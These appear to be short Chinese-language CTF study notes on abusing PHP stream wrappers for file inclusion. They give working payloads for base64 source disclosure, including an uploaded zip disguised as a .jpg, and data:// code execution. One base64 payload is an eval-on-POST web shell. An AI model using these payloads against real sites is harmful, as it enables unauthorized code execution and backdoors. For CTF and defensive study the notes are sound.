php://

PHP function allow_url_include=On
PHP function allow_url_fopen=On

php://input

php://input是个可以访问请求的原始数据的只读流;官方的解释我也看不懂,我就知道POST提交php代码会被执行,不需要键名,直接提交代码。

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
在CTF中一般和文件包含一起利用,通常被利用来读取源码,直接读取会帮当成php代码执行,可以使用base64把读取到的内容编码,解密后即可得到源码。php://filter/read=convert.base64-encode/resource=0e.php

zlib://

该协议是压缩流,说白了就是php中读取压缩文件,虽然是读取压缩流,但也可以读取未压缩的文件,allow_url_include和allow_url_fopen都为off可以正常使用。我测试相对和绝对路径都可以,php版本5.4.45。用法a=compress.zlib://0e.php.gz

zip://

payload:http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt
也是读取压缩流,但是得绝对路径(淦),先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

bzip2://

读取压缩流协议,和前俩个一样。用法:a=compress.bzip2://file.bz2

data://

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:page=data://text/palin,<?php phpinfo(); ?>
如果过滤了特殊符号,可以使用base64编码:page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

还可以这样写:data:;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=

别人有的我也得有